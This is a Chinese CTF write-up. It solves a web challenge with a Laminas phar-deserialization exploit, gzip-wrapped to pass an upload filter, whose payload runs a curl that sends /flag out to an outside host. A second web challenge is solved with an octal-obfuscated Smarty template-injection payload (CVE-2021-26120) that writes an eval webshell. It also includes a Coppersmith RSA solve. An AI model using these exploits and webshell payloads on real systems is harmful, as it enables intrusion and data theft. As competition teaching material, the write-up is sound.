[+] Found : kkkjjaaadjjjhaaaaajdhkkjjhhaakkk<DEL>wangwang<RET>lovellanllna<DEL><DEL>an<RET>ssh<SPACE>player@172.2.0.2<RET>yes<RET>guest<RET>hhhdddfsssssdfffhhsssssfhsssssdffsssssddvvvvvhssssssfvkkjhhkkvvvsssjjjjaagfffggsddffssddfuppoouuukkkaahhhfflkkddddddj

这里ssh连接时需要ctrl c一下终止操作实现逃逸,然后就一直在想如何提权到比赛结束了,试了下grep没想到里面真就藏有flag (⊙﹏⊙)

Web

Fan website

首先存在源码泄露,下载下来

根据官方手册:https://laminas.org.cn/的说明,该文件是作者写的路由

1
2
3
4
5
6
7
8
9
10
11
12
13
public function imgdeleteAction()
{
$request = $this->getRequest();
if(isset($request->getPost()['imgpath'])){
$imgpath = $request->getPost()['imgpath'];
$base = substr($imgpath,-4,4);
if(in_array($base,$this->white_list)){ //白名单
@unlink($imgpath);
}else{
echo 'Only Img File Can Be Deleted!';
}
}
}

审计发现只允许上传图片,但是过滤写的太明显了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public function imguploadAction()
{
$form = new UploadForm('upload-form');

$request = $this->getRequest();
if ($request->isPost()) {
// Make certain to merge the $_FILES info!
$post = array_merge_recursive(
$request->getPost()->toArray(),
$request->getFiles()->toArray()
);

$form->setData($post);
if ($form->isValid()) {
$data = $form->getData();
$base = substr($data["image-file"]["name"],-4,4);
if(in_array($base,$this->white_list)){ //白名单限制
$cont = file_get_contents($data["image-file"]["tmp_name"]);
if (preg_match("/<\?|php|HALT\_COMPILER/i", $cont )) {
die("Not This");
}
if($data["image-file"]["size"]<3000){
die("The picture size must be more than 3kb");
}
$img_path = realpath(getcwd()).'/public/img/'.md5($data["image-file"]["name"]).$base;
echo $img_path;
$form->saveImg($data["image-file"]["tmp_name"],$img_path);
}else{
echo 'Only Img Can Be Uploaded!';
}
// Form is valid, save the form!
//return $this->redirect()->toRoute('upload-form/success');
}
}

return ['form' => $form];
}

这种一看就是phar反序列化绕过的过滤,那么看看触发点,给的也很明显,该imgpath是自由可控的,所以直接可以写进去

1
2
3
4
5
6
7
8
9
10
11
12
13
public function imgdeleteAction()
{
$request = $this->getRequest();
if(isset($request->getPost()['imgpath'])){
$imgpath = $request->getPost()['imgpath'];
$base = substr($imgpath,-4,4);
if(in_array($base,$this->white_list)){ //白名单
@unlink($imgpath);
}else{
echo 'Only Img File Can Be Deleted!';
}
}
}

链子可以直接用这个打:https://xz.aliyun.com/t/8975#toc-7

1
2
3
4
5
6
7
8
9
if(in_array($base,$this->white_list)){   //白名单限制
$cont = file_get_contents($data["image-file"]["tmp_name"]);
if (preg_match("/<\?|php|HALT\_COMPILER/i", $cont )) {
die("Not This");
}
if($data["image-file"]["size"]<3000){
die("The picture size must be more than 3kb");
}
$img_path = realpath(getcwd()).'/public/img/'.md5($data["image-file"]["name"]).$base;

但是需要绕过,前者的绕过可以用gzip压缩进行绕过,而大小的话可以通过

1
$phar->addFromString

写入没有意义的字符串来增大,因为我们要知道,phar反序列化实际上是通过篡改了stub的文件头,而phar文件的本意是压缩php文件,所以我们是可以写入无用的数据来填充的,那么稍微改一下就可以拼凑出来exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php

namespace Laminas\View\Resolver{
class TemplateMapResolver{
protected $map = ["setBody"=>"system"];
}
}
namespace Laminas\View\Renderer{
class PhpRenderer{
private $__helpers;
function __construct(){
$this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
}
}
}


namespace Laminas\Log\Writer{
abstract class AbstractWriter{}

class Mail extends AbstractWriter{
// protected $eventsToMail = ["echo PD9waHAgZXZhbCgkX1BPU1RbMF0pOw==|base64 -d >public/img/1.php"];
//这里由于远程的设置没办法访问到文件
protected $eventsToMail = ["curl http://ip?a=`cat /flag|base64`"];
protected $subjectPrependText = null;
protected $mail;
function __construct(){
$this->mail = new \Laminas\View\Renderer\PhpRenderer();
}
}
}

namespace Laminas\Log{
class Logger{
protected $writers;
function __construct(){
$this->writers = [new \Laminas\Log\Writer\Mail()];
}
}
}


namespace{
$a = new \Laminas\Log\Logger();
echo urlencode(serialize($a));
unserialize(serialize($a));
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = $a;
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", str_repeat("wuhuhuhuhuhw",999999)); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
// echo base64_encode(serialize(new Logger()));
}

这样就可以生产phar了,然后用gzip打包就能传上去了

1
2
gzip phar.jpg
mv phar.jpg.gz phar.jpg

上传文件后,在删除这里触发即可得到flag

Smarty_calculator

依旧存在源码泄露,下载下来审计

index.php对cookie有判断,是否存在cookie是否存在login,这里加个cookie:login=1就能绕过

这里data传进去之后被 Smarty的display方法处理

因为包含了Smarty/Smarty.class.php。跟进寻找 Smarty->display();这里的Smarty继承了Smarty_Internal_TemplateBase,在Smarty里没有找到display();跟进Smarty_Internal_TemplateBase;类

1
2
3
4
5
public function display($template = null, $cache_id = null, $compile_id = null, $parent = null)
{
// display template
$this->_execute($template, $cache_id, $compile_id, $parent, 1);
}

这里dispaly调用了_execute方法,继续更进_execute

审到这里似曾相识,原来是smarty存在模板注入(CVE-2021-26120)

参考链接:https://srcincite.io/blog/2021/02/18/smarty-template-engine-multiple-sandbox-escape-vulnerabilities.html

然后可以直接利用,但是这里对输入内容有过滤

需要绕一下,这里转成八进制数,这种东西还是很好绕的

payload:

1
eval:{$x="42"}{math equation="(\"\\146\\151\\154\\145\\137\\160\\165\\164\\137\\143\\157\\156\\164\\145\\156\\164\\163\")(\"\\61\\62\\63\\56\\160\\150\\160\",\"\\74\\77\\160\\150\\160\\40\\145\\166\\141\\154\\50\\44\\137\\122\\105\\121\\125\\105\\123\\124\\133\\47\\141\\141\\141\\47\\135\\51\\73\\77\\76\")"}

然后蚁剑连接,在根目录下得到flag

Crypto

easy_ya

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.Util.number import *

r = 7996728164495259362822258548434922741290100998149465194487628664864256950051236186227986990712837371289585870678059397413537714250530572338774305952904473
M = 4159518144549137412048572485195536187606187833861349516326031843059872501654790226936115271091120509781872925030241137272462161485445491493686121954785558
n = 131552964273731742744001439326470035414270864348139594004117959631286500198956302913377947920677525319260242121507196043323292374736595943942956194902814842206268870941485429339132421676367167621812260482624743821671183297023718573293452354284932348802548838847981916748951828826237112194142035380559020560287
e = 3
c = 46794664006708417132147941918719938365671485176293172014575392203162005813544444720181151046818648417346292288656741056411780813044749520725718927535262618317679844671500204720286218754536643881483749892207516758305694529993542296670281548111692443639662220578293714396224325591697834572209746048616144307282

kbits = 100
m0 = M
PR.<x> = PolynomialRing(Zmod(n))
f = ((M + x*r)^e) - c
f = f.monic()
x0 = f.small_roots(X=2^kbits,beta=1)[0]
print(x0)
m = M + x0*r
print(long_to_bytes(m))